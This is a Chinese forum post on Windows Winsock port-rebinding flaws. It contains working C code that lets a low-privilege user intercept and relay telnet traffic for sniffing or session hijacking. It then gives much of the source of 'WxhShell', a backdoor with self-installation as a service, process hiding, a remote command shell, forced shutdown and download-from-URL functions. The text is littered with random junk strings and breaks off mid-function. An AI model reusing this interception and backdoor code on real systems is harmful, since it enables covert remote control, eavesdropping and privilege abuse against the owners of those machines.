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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p}A4K#G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b H?qijrC  
8>{W:?I  
  saddr.sin_family = AF_INET; ?a>7=)%AH  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B#6pQp$  
M6'C3,y0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yJ8}*Gj&  
E)O|16f|>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P"x-7>c>Y  
U('<iw,Yy  
  这意味着什么?意味着可以进行如下的攻击: R5eB,FN  
(Q5@MfK`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T#n1@FgC  
zf,%BI[Hr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3rdfg  
KKjxg7{K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +z=%89GJ  
Dsj|~J3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~y2)&x  
ES\Q5)t/fo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]rg+n c3  
bk wa{V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9J7J/]7f  
"b>KUzuYT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'K3 s4x($  
2d2@J{  
  #include [9O~$! <%  
  #include ^ Y7/Ow  
  #include }utNZhJ  
  #include    V`\f+Uu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T1Q sW<*j  
  int main() E ;!<Z4  
  { *?bk?*?s  
  WORD wVersionRequested; =kb6xmB^t  
  DWORD ret; %R|"Afa=  
  WSADATA wsaData; e[QxFg0E  
  BOOL val; eky(;%Sz  
  SOCKADDR_IN saddr; '^U tbp2<  
  SOCKADDR_IN scaddr; R6Zj=l[  
  int err; 8b(1ut{  
  SOCKET s; !(*a+ur&i  
  SOCKET sc; Y#lk!#\Y  
  int caddsize; GwQZf|  
  HANDLE mt; WBr:|F+~s  
  DWORD tid;   ojx'g8yO  
  wVersionRequested = MAKEWORD( 2, 2 ); bEBBwv  
  err = WSAStartup( wVersionRequested, &wsaData ); }r}RRd  
  if ( err != 0 ) { *`ZB+ \*  
  printf("error!WSAStartup failed!\n"); #*$_S@  
  return -1; 0\'Q&oTo  
  } 3e%l8@R@  
  saddr.sin_family = AF_INET; eA?uny f2r  
   X 45x~8f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wb6L? t  
ahNX/3; y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rX33s  
  saddr.sin_port = htons(23); A mI>m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hza> jR  
  { dK}WM46$   
  printf("error!socket failed!\n"); {}_Nep/;  
  return -1; oWp}O?  
  } ZU|6jI}  
  val = TRUE; .?rbny  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _ }E-~I>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) StU  4{  
  { mDQEXMD  
  printf("error!setsockopt failed!\n"); rGnI(m.  
  return -1; [1b6#I"x  
  } u>}w-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U g}8y8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !/Iq{2LX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P +dA~2k  
Y=vVxVI\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B;Xoa,  
  { 7fju  
  ret=GetLastError(); t7w-TJvP  
  printf("error!bind failed!\n"); vi]r  
  return -1; &8<<!#ob  
  } 0R HS]cN  
  listen(s,2); khU6*`lQ  
  while(1) GilQtd3\  
  { A~Z6jK  
  caddsize = sizeof(scaddr); 1, "I=  
  //接受连接请求 d,c8Hs8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K8HIuQ!=  
  if(sc!=INVALID_SOCKET) #l*a~^dhqC  
  { o84UFhm   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  hv+|s(  
  if(mt==NULL) 48 W.qzC  
  { 2+?T66 g  
  printf("Thread Creat Failed!\n"); sm 's-gD  
  break; G2.|fp_}pG  
  } O 'k+7y  
  } (I-<f$3  
  CloseHandle(mt); 60!1 D>,  
  } v(DwU!  
  closesocket(s); I eG=J4:*  
  WSACleanup(); yND"bF9  
  return 0; %35L=d[  
  }   '_:(oAi,C  
  DWORD WINAPI ClientThread(LPVOID lpParam) B*\$ /bk,  
  { !FTNmyM~F  
  SOCKET ss = (SOCKET)lpParam; 9-0<*)"b>  
  SOCKET sc; u!Xb?:3uj  
  unsigned char buf[4096]; &&=[Ivv  
  SOCKADDR_IN saddr; '|A|vCRCG  
  long num; E2@`d6  
  DWORD val; ^+ZgWS^%  
  DWORD ret; l DN"atSf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A)tP()+)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w|IjQ1{  
  saddr.sin_family = AF_INET; ! Tx&vtq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &59F8JgJ  
  saddr.sin_port = htons(23); .it#`Yz;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vCw<G6tD  
  { UuU/c-.  
  printf("error!socket failed!\n"); *?/tO, R?  
  return -1; BZK2$0  
  } C5xag#Z1  
  val = 100; RK[D_SmS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f-Jbs`(+  
  { )qL&%xz  
  ret = GetLastError();  qve ./  
  return -1; H`~;|6}]n  
  } x2co>.i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7BR8/4gcPu  
  { cHx%Nd\  
  ret = GetLastError(); JK]R*!{n  
  return -1; h.)h@$d  
  } *U;'OWE[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j[I`\"  
  { b_TS<,  
  printf("error!socket connect failed!\n"); )p<WDiX1!e  
  closesocket(sc); y<pnp?x4  
  closesocket(ss); c.A Yx I"  
  return -1; ~vHk&r]|  
  } F.tfgW(A@  
  while(1) ]1D%zKY%$Z  
  { xg<Hxn,<M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k|xtrW`qo;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y34/+Fi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G O{ . 9_2  
  num = recv(ss,buf,4096,0); *wuqa) q2  
  if(num>0) !*aPEf270  
  send(sc,buf,num,0); u:&o}[  
  else if(num==0) ~e `Bq>  
  break; #`(WUn0H?  
  num = recv(sc,buf,4096,0); ]PWDE"  
  if(num>0) {ox2Tg?  
  send(ss,buf,num,0); M*sR3SZ  
  else if(num==0) mMSh2B  
  break; +vW)vS[  
  } :w`3cw Q  
  closesocket(ss); l.`u5D  
  closesocket(sc); .~>?*}  
  return 0 ; 7ER|'j  
  } G,f-.  
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'OkGReKt  
========================================================== xe4Oxo  
DZ$` 4;C[  
下边附上一个代码,,WXhSHELL W#'c 5:m 4  
08s_v=cF  
========================================================== lx |5?P  
,E;;wdIt  
#include "stdafx.h" )?=YT  
BHA923p?  
#include <stdio.h> =PkO!Mm8  
#include <string.h>  foRD{Hx  
#include <windows.h> oR .cSGh  
#include <winsock2.h> b| M3 `  
#include <winsvc.h> J-xS:Ha'l  
#include <urlmon.h> cc}Key@D  
Y^KTkS0D  
#pragma comment (lib, "Ws2_32.lib") N~^yL<O  
#pragma comment (lib, "urlmon.lib") {2&m`D bm  
JIm4vS  
#define MAX_USER   100 // 最大客户端连接数 T!RT<&  
#define BUF_SOCK   200 // sock buffer 1PH: \0}  
#define KEY_BUFF   255 // 输入 buffer g7\,{Bw#E  
?S Z1`.S  
#define REBOOT     0   // 重启 5%zXAQD=<  
#define SHUTDOWN   1   // 关机 Pq9|WV#F5/  
yWDTjY/  
#define DEF_PORT   5000 // 监听端口 jN31hDg<z  
Z[Qza13lo  
#define REG_LEN     16   // 注册表键长度  YZc>dE  
#define SVC_LEN     80   // NT服务名长度 Yd EptAI  
8uNULob  
// 从dll定义API gF?[rqz{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N8toxRu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TlZT1H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JyLa#\ R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O.G'?m<: #  
O.`Jl%  
// wxhshell配置信息 k o;>#::  
struct WSCFG { =U8Ek;Drp  
  int ws_port;         // 监听端口 XV3C`:b  
  char ws_passstr[REG_LEN]; // 口令 *N'K/36;  
  int ws_autoins;       // 安装标记, 1=yes 0=no {-3LIO  
  char ws_regname[REG_LEN]; // 注册表键名 )s_n  
  char ws_svcname[REG_LEN]; // 服务名 cD*}..-/4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =GlVccc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ub1hHA*)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1MlUG5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !RB)_7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <"N_j]wD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s m,VYYs  
{n#k,b&9B  
}; E>b2+;Jv  
r3E!dTDWq  
// default Wxhshell configuration G!w"{Bk?9  
struct WSCFG wscfg={DEF_PORT, {8$=[;  
    "xuhuanlingzhe", uvDzKMw~R  
    1, &QRE"_g  
    "Wxhshell", qgIb/6;xQ  
    "Wxhshell", +gd4\ZG  
            "WxhShell Service", r={c,i  
    "Wrsky Windows CmdShell Service", $rIoHxh. y  
    "Please Input Your Password: ", z]B]QB Y[  
  1, T>TWU:  
  "http://www.wrsky.com/wxhshell.exe", ca i <,3H  
  "Wxhshell.exe" K 0gI):  
    }; W1fW}0   
~5Pb&+<$  
// 消息定义模块 6E(Qx~i L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w(ln5q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <q*oV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,}oM-B  
char *msg_ws_ext="\n\rExit."; qm/Q65>E  
char *msg_ws_end="\n\rQuit."; Zl 9aDg  
char *msg_ws_boot="\n\rReboot..."; pl@O N"=[  
char *msg_ws_poff="\n\rShutdown..."; NBl+_/2'w  
char *msg_ws_down="\n\rSave to "; )?+$x[f!*  
1b=lpw 1}  
char *msg_ws_err="\n\rErr!"; oSiMpQu08  
char *msg_ws_ok="\n\rOK!"; |4$M]Mf0  
E_Z{6&r  
char ExeFile[MAX_PATH]; `&\Q +W  
int nUser = 0; theZ]5_C  
HANDLE handles[MAX_USER]; +$4(zP s@  
int OsIsNt; dS^T$sz.co  
Vk< LJ S  
SERVICE_STATUS       serviceStatus; infl.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )u))n#P  
zp\8_U @  
// 函数声明 Uc/+gz Z;  
int Install(void); #/PAA  
int Uninstall(void); DPi_O{W>  
int DownloadFile(char *sURL, SOCKET wsh); 5T sUQc  
int Boot(int flag); J+rCxn?;g  
void HideProc(void); V5+SWXZ  
int GetOsVer(void); HhO".GA  
int Wxhshell(SOCKET wsl); +"9hWb5  
void TalkWithClient(void *cs); g^*<f8 ~d  
int CmdShell(SOCKET sock); W3`>8v1?o  
int StartFromService(void); pv| Pm  
int StartWxhshell(LPSTR lpCmdLine); )`^p%k  
6'\6OsH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %%(R@kh9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^N8)]F,  
s4&^D<  
// 数据结构和表定义 zD?oXs  
SERVICE_TABLE_ENTRY DispatchTable[] = ~y=T5wt  
{ LYlDc;<A  
{wscfg.ws_svcname, NTServiceMain}, UK9@oCIB  
{NULL, NULL} \fr-<5w79  
}; G)?9.t_Lj-  
gV&z2S~"  
// 自我安装 +`?Y?L^ J  
int Install(void) Y*mbjyt[?X  
{ ge]STSM0n7  
  char svExeFile[MAX_PATH]; h iNEJ_f  
  HKEY key; SG6sw]x  
  strcpy(svExeFile,ExeFile); j*~T1i  
ySI~{YVM  
// 如果是win9x系统,修改注册表设为自启动 VfT*7_  
if(!OsIsNt) { Mq';S^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AwQ?l(iZ"p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %Uz(Vd#K  
  RegCloseKey(key); bn |zl!Pq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oK 6(HF'&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7GDHz.IX  
  RegCloseKey(key); kdGT{2u  
  return 0; ,3nN[)dk  
    } ?%H):r  
  } Y@PI {;!  
} /x3/Ubmz~x  
else { {Zp\^/  
as J)4ema  
// 如果是NT以上系统,安装为系统服务 L(X6-M:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KK@.~'d  
if (schSCManager!=0) ZvcJK4hi  
{ g-Pwp[!qkf  
  SC_HANDLE schService = CreateService b!M"VDjQ  
  ( OyqNLR  
  schSCManager, fu~ +8CE.  
  wscfg.ws_svcname, Bn>8&w/P  
  wscfg.ws_svcdisp, ^ns@O+Fk  
  SERVICE_ALL_ACCESS, eb*#'\~'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EbqcV\Kb  
  SERVICE_AUTO_START, ayAo^q  
  SERVICE_ERROR_NORMAL, >}(CEzc8  
  svExeFile, p !s}=wI `  
  NULL, ! !PYP'e  
  NULL, #A]-ax?Qc}  
  NULL, k}~O}~-  
  NULL, %vBhLaE  
  NULL %#$EP7"J  
  );   zxp`  
  if (schService!=0) [Y`,qB<B  
  { 9{:O{nl  
  CloseServiceHandle(schService); eI@ q|"U  
  CloseServiceHandle(schSCManager); ,^S@EDq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !0N7^Z"gtz  
  strcat(svExeFile,wscfg.ws_svcname); 37;$-cFE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jM\*A#Jo5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vVL@K,q  
  RegCloseKey(key); `9 {mr<  
  return 0; M,ir`"s  
    }  C:G8c[  
  } %Q!`NCe+[  
  CloseServiceHandle(schSCManager); x\QY@9  
} wY"Q o7  
} 7.j[a*^  
.; &# )l  
return 1; A'nq}t 3  
} %$TGzK1  
c sfgJ^n  
// 自我卸载 ^ "\R\COQ  
int Uninstall(void) _D|^.)=U|  
{ bO<CR  
  HKEY key; X6^},C'E.:  
`%j~|i)4  
if(!OsIsNt) { !~h}8'a?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /<rt1&0  
  RegDeleteValue(key,wscfg.ws_regname); ]^6c8sgnR  
  RegCloseKey(key); ;U_QvN|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wq^qpN)5Y  
  RegDeleteValue(key,wscfg.ws_regname); vVE7fq3  
  RegCloseKey(key); Kt(-@\)!  
  return 0; S/ibb&  
  } Rar"B*b;$  
} 7==f\%,  
} oHs2L-G  
else { .$#rV?7  
x|{IwA9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G}9=)  
if (schSCManager!=0) n#iwb0-  
{ 1 `KN]Nt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]~\sA  
  if (schService!=0) y9KB< yh/  
  { l9M0cZ,  
  if(DeleteService(schService)!=0) { rm} R>4  
  CloseServiceHandle(schService); <EST?.@~+  
  CloseServiceHandle(schSCManager); %e@#ux m  
  return 0; pT$f8xJ  
  } !\ g+8>  
  CloseServiceHandle(schService); Zc?ppO  
  } :f$xQr4Qz  
  CloseServiceHandle(schSCManager); uB7 V?A  
} bb d.  
} %sRUh0AL  
_@R0x#p5M  
return 1; 1 1cWy+8D  
} ?:Bv iF);/  
+[xnZ$Iev  
// 从指定url下载文件 (xq%  
int DownloadFile(char *sURL, SOCKET wsh) ?h1H.s2X  
{ =r@vc  
  HRESULT hr; z'`y,8Y1l  
char seps[]= "/"; F0690v0mB[  
char *token; f#Xyoa%  
char *file; sUYxT>R  
char myURL[MAX_PATH]; ,<2DL p%%D  
char myFILE[MAX_PATH]; w/L `  
TFcT3]R[rL  
strcpy(myURL,sURL); }E_#k]#*  
  token=strtok(myURL,seps); \8uIER5)  
  while(token!=NULL) )+Oujt  
  { U#1bp}y  
    file=token; 0T>H)c6:\  
  token=strtok(NULL,seps); 72veLB  
  } x1ztfJd  
F!.E5<&7=  
GetCurrentDirectory(MAX_PATH,myFILE); wYlf^~#"  
strcat(myFILE, "\\"); J6jwBo2m  
strcat(myFILE, file); u~)`&1{%  
  send(wsh,myFILE,strlen(myFILE),0); Y\0}R,]a-  
send(wsh,"...",3,0); pZU9^Z?~6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ci+tdMA  
  if(hr==S_OK) <ioO,oS'  
return 0; F H1Z 2  
else ko^\ HSXl  
return 1; 46k?b|Q  
!*`-iQo&  
} aC< KN:TN6  
i>_u_)-  
// 系统电源模块 Vn~UB#]'3  
int Boot(int flag)  RD tU43  
{ Q#IG;  
  HANDLE hToken; `~X!Ll  
  TOKEN_PRIVILEGES tkp; " ZX3sfkh  
Sc7U |s  
  if(OsIsNt) { 4l&g6YneX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /W<>G7%.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eu|j=mB  
    tkp.PrivilegeCount = 1; 4hw@yTUo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b]a@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "U \JV)N  
if(flag==REBOOT) { p^iRPI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RQFI'@Ks  
  return 0; +<prgP`v  
} . <tq6 1  
else { jV8q)=}*)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hkO sm6  
  return 0; jP~Z`y f  
} rS1fK1dy s  
  } *Y@nVi  
  else { RyRpl*^  
if(flag==REBOOT) { Pm$q]A~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I7&_Xr  
  return 0; e${>#>  
} {hJXj,  
else { M?/jkc.8H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M4WiT<|]R  
  return 0; mE^o-9/  
} 4tx|=;@0  
} a {ab*tM  
9 fMau  
return 1; 2!Bd2  
} n$[f94d=  
DD44"w_9  
// win9x进程隐藏模块 iKas/8   
void HideProc(void) phE &7*!Q  
{ FW"^99mrnb  
"6a8s;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W(hMft%  
  if ( hKernel != NULL ) xF8}:z0  
  { cVwbg[W]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ys!>+nL|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vS;1/->WD  
    FreeLibrary(hKernel); kPjd_8z2n  
  } ``A 0WN  
zX#%{#9  
return; 8?Z4-6!{V,  
} +w8R!jdA  
rDdzxrKg{  
// 获取操作系统版本 E\u#t$  
int GetOsVer(void) .`CZUKG  
{ R<x'l=,D(  
  OSVERSIONINFO winfo; e:AHVep j{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _uc\ D R  
  GetVersionEx(&winfo); CDi<< ,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *UW=Mdt  
  return 1; S60IPya  
  else p N\Vr8tJ  
  return 0; >E,U>@+  
} }oJAB1'k  
VB<Jf'NU  
// 客户端句柄模块 *z'yk*  
int Wxhshell(SOCKET wsl) }CxvT`/  
{ mQ}ny(K'  
  SOCKET wsh; tb?YLxMV  
  struct sockaddr_in client; =_]2&(?  
  DWORD myID; TPE:e)GO  
s s 3t  
  while(nUser<MAX_USER) Rte+(- iL  
{ {J5JYdK  
  int nSize=sizeof(client); _p?s9&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2 3KyCV5  
  if(wsh==INVALID_SOCKET) return 1; A?Wk  w f  
\(p{t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,_ag;pt9)  
if(handles[nUser]==0) an2AX% u  
  closesocket(wsh); *4|Hqa  
else -|Kzo_" v5  
  nUser++; 8q)=  
  } -A-tuyIsh"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 79=45'8  
'lZ.j&  
  return 0; V\K<$?oUb  
} T#Z%y!6  
LEECW_:  
// 关闭 socket /+e~E;3bO  
void CloseIt(SOCKET wsh) iK{T^vvk  
{ %PJhy2  
closesocket(wsh); ftBq^tC  
nUser--; $<p8TtI=YQ  
ExitThread(0); h.K(P+h  
} YRlDX:oX~  
[Vf}NF  
// 客户端请求句柄 _7a'r</@  
void TalkWithClient(void *cs) ):EBgg4-N  
{ /HZumV?  
yg]2erR  
  SOCKET wsh=(SOCKET)cs; zdSh:  
  char pwd[SVC_LEN]; 0iEa[G3  
  char cmd[KEY_BUFF]; 0@Kkl$O>mb  
char chr[1]; 8dK0o>|}  
int i,j; %i)B*9k  
4e9q`~ sO  
  while (nUser < MAX_USER) { YwH./)r=  
<Q<+4Y{R  
if(wscfg.ws_passstr) { 3z;_KmM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9j*0D("  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N~ANjn/wL  
  //ZeroMemory(pwd,KEY_BUFF); +\#Fd  
      i=0; ,)~E>[=+  
  while(i<SVC_LEN) { j[6Raf/(n  
) gR=<oa  
  // 设置超时 (bn Zy0  
  fd_set FdRead; + E"[  
  struct timeval TimeOut; \.e4.[%[2-  
  FD_ZERO(&FdRead); #t!}K_  
  FD_SET(wsh,&FdRead); 4 c'4*`I  
  TimeOut.tv_sec=8; zGc(Ef5`M6  
  TimeOut.tv_usec=0; Kud'pZ{P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p2x [p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VF0dE  
6gOe!m m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NBl __q  
  pwd=chr[0]; O_K_f+7  
  if(chr[0]==0xd || chr[0]==0xa) { L(&}Wv  
  pwd=0; *Zd84wRSj  
  break; #l1Qe`  
  } A[UP"P~u/  
  i++; TOI4?D]  
    } lu UYo  
:6;e\UE  
  // 如果是非法用户,关闭 socket ?a/n<V '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UEzi*"-v2  
} ! d9AG|  
,ZI\dtl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IPA*-I57  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k5+]SG`]]  
;BH>3VK  
while(1) { J7-^F)lu-  
n<V1|X  
  ZeroMemory(cmd,KEY_BUFF); nv5u%B^  
-+U/Lrt>8  
      // 自动支持客户端 telnet标准   G@d`F  
  j=0; . gZZCf&?  
  while(j<KEY_BUFF) { N b3$4(F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & 7QH^  
  cmd[j]=chr[0]; 8V4V3^_xs  
  if(chr[0]==0xa || chr[0]==0xd) { /c+)C"  
  cmd[j]=0; nb dGt  
  break; EH`0  
  } UCqs}U8  
  j++; Gg0#H^s( (  
    } J.M.L$  
[EHrIn  
  // 下载文件 evl -V>   
  if(strstr(cmd,"http://")) { 'zgvQMu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 't>r sp+#  
  if(DownloadFile(cmd,wsh)) K}I0o!(#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nJ3vi}`  
  else OKwOugi0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0|)19LR  
  } oJaAM|7uv  
  else { V"d=.Hb>  
Pl~P-n  
    switch(cmd[0]) { Gm=>!.p  
  ^>r^3C)_-  
  // 帮助 /3^P_\,>f  
  case '?': { xNdIDj@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $T dC/#7  
    break; =v"xmx&4  
  } `"y{;PCt_  
  // 安装 >BqCkyM9Kf  
  case 'i': { ~-Oa8ww  
    if(Install()) )}X5u%woV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S6 }QFx  
    else =hX[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .L;",E  
    break; c>Z*/>~  
    } P%o44|[][  
  // 卸载 c" Y!$'|Q  
  case 'r': { 8l xY]UT  
    if(Uninstall()) T+TF-] J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <]#o*_aFP  
    else Q(\ wx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $@87?Ab  
    break; UxPGv;F  
    } -ID!pTvW  
  // 显示 wxhshell 所在路径  Q&+c.S  
  case 'p': { M4<+%EV}  
    char svExeFile[MAX_PATH]; kr_oUXiX  
    strcpy(svExeFile,"\n\r"); I($,9|9F  
      strcat(svExeFile,ExeFile); mCb 9*|  
        send(wsh,svExeFile,strlen(svExeFile),0); ZzL@[g  
    break; F2oJ]th.3  
    } <%,'$^'DS  
  // 重启 X!0kK8v  
  case 'b': { VJ1*|r,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q`loOm=y  
    if(Boot(REBOOT)) :Ee?K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zHx mA  
    else { 9A;6x$s  
    closesocket(wsh); QAaF@Do  
    ExitThread(0); ;6<zjV7}  
    } Y. TYc;  
    break; _bQL[eXd  
    } 6D*chvNA;  
  // 关机 Z ps&[;R$-  
  case 'd': { ^('cbl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G `Izf1B`I  
    if(Boot(SHUTDOWN)) |9]PtgQv7  
